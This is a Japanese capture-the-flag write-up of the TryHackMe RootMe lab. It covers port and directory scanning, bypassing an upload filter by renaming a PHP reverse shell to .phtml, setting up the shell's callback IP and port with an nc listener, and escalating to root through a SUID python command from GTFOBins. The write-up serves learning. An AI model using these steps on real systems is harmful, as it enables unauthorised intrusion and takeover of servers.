はじめに
本記事はTryHackMeのWriteupです。
RoomはRootMeで、Difficulty(難易度)はEasyです。
RootMeは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したコンテンツから脆弱性を特定します。脆弱性特定後、攻撃手法を確立させてリバースシェルの取得及び、管理者権限(root権限)の取得等について学習します。
セキュリティの本質に関わる基礎的な部分を学習するにはうってつけのRoomだと思います。
Deploy the machineでマシンデプロイ後、以降のTaskについて解説していきます。
Reconnaissance
はじめに偵察行為から行います。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。
ポートスキャン
空いているポートを特定するためにはNmapを使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。
$ ./nmap.sh <対象ホストのIPアドレス>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 22:25 JST
Nmap scan report for 10.10.248.164
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
上記、ポートスキャンの結果より22番ポートと、80番ポートが空いていることが確認できます。
また、それぞれのミドルウェアのバージョン及び、OS情報についても確認できます。
コンテンツの探索
タスクの通りにgobusterを使用してコンテンツの探索を行います。
ワードリストはdirbのデフォルトで使用されている/usr/share/wordlists/dirb/common.txt
を使用しています。
$ gobuster dir --url http://<対象ホストのIPアドレス> --wordlist /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.248.164
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/09 22:39:07 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.10.248.164/css/]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 311] [--> http://10.10.248.164/js/]
/panel (Status: 301) [Size: 314] [--> http://10.10.248.164/panel/]
/server-status (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://10.10.248.164/uploads/]
===============================================================
2022/06/09 22:41:05 Finished
===============================================================
index.php
ファイルや、panel
及びuploads
ディレクトリ等いくつかのコンテンツを発見しました。
探索結果からphpを使用していると推定します。
Getting a shell
Firefoxのブラウザを起動します。
URLに対象マシンのIPアドレス及び、gobusterで発見したpanel
を指定してアクセスします。
panel
はファイルをアップロードする画面になっています。
Task:
Find a form to upload and get a reverse shell, and find the flag.
Hint:
Search for "file upload bypass" and "PHP reverse shell".
Taskの内容とヒントからミドルウェアの脆弱性ではなく、アプリケーションの欠陥を突いて、リバースシェルを取得してバイパスするためのTaskと考えます。
リバースシェルを取得する方法についてはHintのキーワードを参考にGoogleで調べます。
リバースシェル
調べた情報を参考にし、リバースシェルを行うためにファイルアップロードを行います。
リバースシェルはphpのリバースシェルとしてよく使用されているphp-reverse-shellをGitHubよりcloneします。
攻撃前の準備作業としてphp-reverse-shell.php
ファイルのIPアドレスとポート番号を、攻撃端末のIPアドレスとポート番号に変更します。
49 $ip = '192.168.x.x'; // CHANGE THIS
50 $port = 4444;
また、事前に攻撃端末側で上記ポートを指定してnc
コマンドを実行して通信を待機します。
$ nc -lnvp 4444
準備完了後、リバースシェルとして利用するphp-reverse-shell.php
ファイルをアップロードします。
php-reverse-shell.php
ファイルをアップロードすると、PHPが許可されていないことが確認できました。
このような場合はファイル名の拡張子を変更することでアプリケーションを騙すことができます。代替可能なファイル名の拡張子の例について以下に記載します。
.pht, phtml, .php3, .php4, .php5, .php6, .inc
php-reverse-shell.php
ファイルのファイル名の拡張子をphtml
に変更して再度アップロードを行います。
アップロードに成功しました。
アップロードしたphp-reverse-shell.php
ファイルはuploads
ディレクトリに格納されています。
パス名をuploads
に変更してアクセスすることで、PHPスクリプトが実行されます。
アクセス方法はブラウザからでもcurl
コマンドでも構いません。ではブラウザからアクセスします。
リバースシェルの仕組みにより、攻撃端末側に制御が移りシェルが取得できました。
しかし、シェルが不安定なため、タブ補完が効かないなど操作がしにくい状態です。
そのため、以下のコマンドを実行してシェルの安定化を行います。
pythonを用いてbashを起動します。ptyモジュールは擬似端末して機能し、pty.spawn
はプロセスを生成して制御端末を現在のプロセスの標準入出力に接続します。これは制御端末を読もうとするプログラムをごまかすために利用されます。
$ python -c 'import pty;pty.spawn("/bin/bash")'
現在のプロセスをctrl +zで一時停止します。
ctrl + z
sttyコマンドは端末の設定を行うためのコマンドです。オプションの意味としてraw
モードにすることで入力1文字ごとにデータをプログラムに渡すようにします。また、-echo
の-
はecho
を無効にします。端末設定後、プロセスをfg
コマンドでフォアグラウンドに戻しています。
$ stty raw -echo; fg
この時点でシェルは安定した状態に遷移し、タブ補完も効くようになります。更に環境変数の設定を行うことでカスタムしていきます。
ここでは環境変数のTERM
をX Window Systemの標準のターミナルエミュレータであるxterm
に変更しています。デフォルトは各回線毎のOSによって異なります。また、シェルはwww-dataのログインシェルである/usr/sbin/nologin
の状態です。作業しやすいようにSHELL
をbash
に変更します。
$ export TERM=xterm
$ export SHELL=bash
環境変数設定後、以下のコマンドを実行してユーザーフラグのテキストファイルを検索します。
$ find / -name user.txt 2> /dev/null
/var/www/user.txt
ユーザーフラグのテキストファイルを発見しました。
以下のコマンドを実行して発見したユーザーフラグを確認します。
$ cat /var/www/user.txt
THM{***_***_*_*****}
フラグはよく見るとメッセージになっています。
まるでラーメンのスープを最後まで飲み干した際に底に書いてあるようなメッセージのようです。
Privilege escalation
権限昇格
管理者権限を取得するために、ヒントを頼りに以下のコマンドを実行して、SUID権限を持つファイルを検索します。
$ find / -user root -perm /4000 2> /dev/null
出力例
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
出力結果からpythonが怪しそうです。
特権を昇格させるための手口を発見するためにGTFOBinsを参照し、上記で発見したpythonを基に検索します。
SUIDより以下のコマンドを実行し、特権昇格を行います。
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
以下は特権昇格前後の違いです。
whoami
コマンドの結果からrootユーザーであることが確認できます。
- シェル取得後の状態
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
- 特権昇格後の状態
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# whoami
root
root昇格後、ホームディレクトリを確認してみます。
$ ls -l /root
-rw-r--r-- 1 root root 26 Aug 4 2020 root.txt
rootフラグのテキストファイルを発見しました。
以下のコマンドを実行して発見したrootフラグを確認します。
$ cat /root/root.txt
THM{*********_**********}
これで全てのTaskは完了です。
おわりに
ハッキングの基本について理解を深めるためにWriteupを書くことにしました。
Writeupを書いて深掘りすることにより、何故、このコマンドを実行しているか?について理解が深まります。
また、ツールなどで使用しているスクリプトについてもただ使用するだけでなく、動作を理解するためにはソースコードを読むことは重要です。